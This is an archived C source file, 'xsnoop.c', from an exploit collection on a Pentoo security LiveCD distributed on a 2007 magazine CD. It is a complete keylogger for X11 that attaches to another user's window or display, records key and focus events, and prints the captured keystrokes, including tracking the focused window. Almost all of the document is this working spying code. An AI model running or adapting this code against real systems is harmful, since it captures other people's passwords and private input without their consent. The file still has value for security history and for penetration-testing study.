home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / xwin / xsnoop.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  6KB  |  255 lines
  1. /*
  2. ** xsnoop - spy on another's keyboard events
  3. ** by:        Peter Shipley [copyright 1989]
  4. ** compile:    cc -O xsnoop.c -o xsnoop -lX11
  5. ** use:        xsnoop Windowid
  6. **
  7. **    Windowid        in decimal
  8. **    -w Windowid        in decimal
  9. **     -h Windowid        in hex
  10. **     -d name_of_display
  11. **     -u             look for key press events instead of key up
  12. **     -f             report focus events
  13. **
  14. ** see xwininfo(1) or xterm env. var. WINDOWID for window ID number
  15. */
  16.  
  17. #include <stdio.h>
  18. #include <ctype.h>
  19. #include <X11/keysym.h>
  20. #include <X11/Xlib.h>
  21. #include <X11/vroot.h>
  22. #define VROOT
  23.  
  24. #ifndef lint
  25. char *copyright = "@(#) Copyright(c) 1988 Peter Shipley  [HACKMAN].\n\
  26.                   All rights reserved.\n";
  27. #endif not lint
  28.  
  29. #define EVER ;;
  30.  
  31. char *ProgramName;
  32. void exit();
  33. void setbuf();
  34.  
  35. static Window GetCurrWindow( /*display*/);
  36.  
  37. static void usage ()
  38. {
  39.   (void) fprintf(stderr,
  40.                  "usage: %s ([-w] Windowid | -h 0xWindowid) [-u] [-f] [-F] [-d displayname]\n",
  41.                  ProgramName);
  42.   exit (1);
  43. }
  44.  
  45. main (argc, argv)
  46. int argc;
  47. char **argv;
  48. {
  49.   char *displayname = NULL;
  50.   int i;
  51.   Window w = (Window) NULL;
  52.   Display *dpy;
  53.   int etype = KeyRelease;
  54.   int f=0;
  55.   int follow=0;
  56.  
  57.   ProgramName = argv[0];
  58.  
  59.   for (i = 1; i < argc; i++)
  60.     {
  61.       char *arg = argv[i];
  62.  
  63.       if (arg[0] == '-')
  64.         {
  65.           switch (arg[1])
  66.             {
  67.             case 'd':            /* -display host:dpy */
  68.               if (++i >= argc) usage ();
  69.               displayname = argv[i];
  70.               continue;
  71.  
  72.             case 'F':            /* get current  window focus */
  73.               follow++;
  74.               continue;
  75.  
  76.             case 'f':            /* -f  report focus events */
  77.               f = 1;
  78.               continue;
  79.  
  80.             case 'u':            /* -u  use keyPress events */
  81.               etype =  KeyPress;
  82.               continue;
  83.  
  84.             case 'h':            /* -h WindowId_in_hex */
  85.               if (++i >= argc) usage ();
  86.               w = atoi(argv[i]);
  87.               /* (void) sscanf(argv[i], "0x%lx", &w); */
  88.               continue;
  89.  
  90.             case 'w':            /* -w WindowId_in_decimal */
  91.               if (++i >= argc) usage ();
  92.               w = atoi(argv[i]);
  93.               continue;
  94.  
  95.             default:
  96.               usage ();
  97.             }                /* end switch on - */
  98.         }
  99.       else
  100.         w = atoi(argv[i]);
  101.     }                    /* end for over argc */
  102.  
  103.   if(w == (Window) NULL && !follow ) usage ();
  104.  
  105.   setbuf(stdout, (char *) NULL);
  106.  
  107.   if ((dpy = XOpenDisplay(displayname)) == NULL)
  108.     {
  109.       (void) fprintf (stderr, "%s:  unable to open display '%s'\n",
  110.                       ProgramName, XDisplayName (displayname));
  111.       exit (1);
  112.     }
  113.  
  114.   if(follow)
  115.     {
  116.       w = GetCurrWindow(dpy);
  117.     }
  118.  
  119.   XSelectInput(dpy, w, FocusChangeMask|KeyPressMask|KeyReleaseMask);
  120.  
  121.   (void) printf ("Window is 0x%lx, (%ld)\n", w, w);
  122.  
  123.   for (EVER)
  124.     {
  125.       XEvent event;
  126.  
  127.       XNextEvent (dpy, &event);
  128.  
  129.       if(event.type == etype)
  130.         {
  131.           char str[256+1];
  132.           KeySym ks;
  133.           char *ksname;
  134.           int c;
  135.  
  136.           c = XLookupString ((XKeyEvent *)&event, str, 256, &ks, NULL);
  137.  
  138.           if(isprint(str[0]) && c != 0)
  139.             {
  140.               /* (void) fputs(str, stdout); */
  141.               (void) fputc(*str, stdout);
  142.               continue;
  143.             }
  144.  
  145.           switch(ks)
  146.             {
  147.  
  148.             case(XK_Linefeed):
  149.                   case(XK_Return):
  150.                       (void) fputc('\n', stdout);
  151.               continue;
  152.  
  153.  
  154.             case(XK_Shift_L):
  155.                   case(XK_Shift_R):
  156.                       continue;
  157.  
  158.             case(XK_BackSpace):
  159.                   case(XK_Delete):
  160.                       (void) fputc('\b', stdout);
  161.               continue;
  162.  
  163.             default:
  164.               if (ks == NoSymbol)
  165.                 ksname = "NoSymbol";
  166.               else if (!(ksname = XKeysymToString (ks)))
  167.                 ksname = "no name";
  168.             }
  169.  
  170.           (void) printf("[%s]",  ksname);
  171.         }
  172.  
  173.       if( f &&  (event.type == FocusIn) )
  174.     {
  175.           (void) fputs("[FocusIn Event]", stdout);
  176.         }
  177.  
  178.       if( f &&  (event.type == FocusOut) )
  179.         {
  180.           (void) fputs("[FocusOut Event]", stdout);
  181.         }
  182.  
  183.       if( follow &&  (event.type == FocusOut))
  184.         {
  185.           char *name;
  186.           Window wind;
  187.           XSelectInput(dpy,
  188.                        wind = GetCurrWindow(dpy),
  189.                        FocusChangeMask|KeyPressMask|KeyReleaseMask);
  190.           if (!XFetchName(dpy, wind, &name) || !name)
  191.             {
  192.               (void) fputs("[{no name}]", stdout);
  193.             }
  194.           else
  195.             {
  196.               (void) printf("[{%s}]", name);
  197.             }
  198.           continue;
  199.  
  200.         }
  201.  
  202.     }
  203. }
  204.  
  205. static Window
  206. GetCurrWindow(d)
  207. Display *d;
  208. {
  209.   Window foo;
  210.   Window win;
  211.   int bar;
  212.  
  213.   do
  214.     {
  215.       (void) XQueryPointer(d, DefaultRootWindow(d), &foo, &win,
  216.                            &bar, &bar, &bar, &bar, &bar);
  217.     }
  218.   while(win <= 0);
  219.  
  220.  
  221. #ifdef VROOT
  222.   {
  223.     int n;
  224.     Window *wins;
  225.     XWindowAttributes xwa;
  226.  
  227.     (void) fputs("=xwa=", stdout);
  228.  
  229.     /* do{  */
  230.     XQueryTree(d, win, &foo, &foo, &wins, &n);
  231.     /* } while(wins <= 0); */
  232.     bar=0;
  233.     while(--n >= 0)
  234.       {
  235.         XGetWindowAttributes(d, wins[n], &xwa);
  236.         if( (xwa.width * xwa.height) > bar)
  237.           {
  238.             win = wins[n];
  239.             bar = xwa.width * xwa.height;
  240.           }
  241.         n--;
  242.       }
  243.     XFree(wins);
  244.   }
  245. #endif
  246.   return(win);
  247. }
  248.  
  249. void exit(i)
  250. int i;
  251. {
  252.   printf("exit = %d\n", i);
  253.   abort();
  254. }
  255. /*                    www.hack.co.za              [2000]*/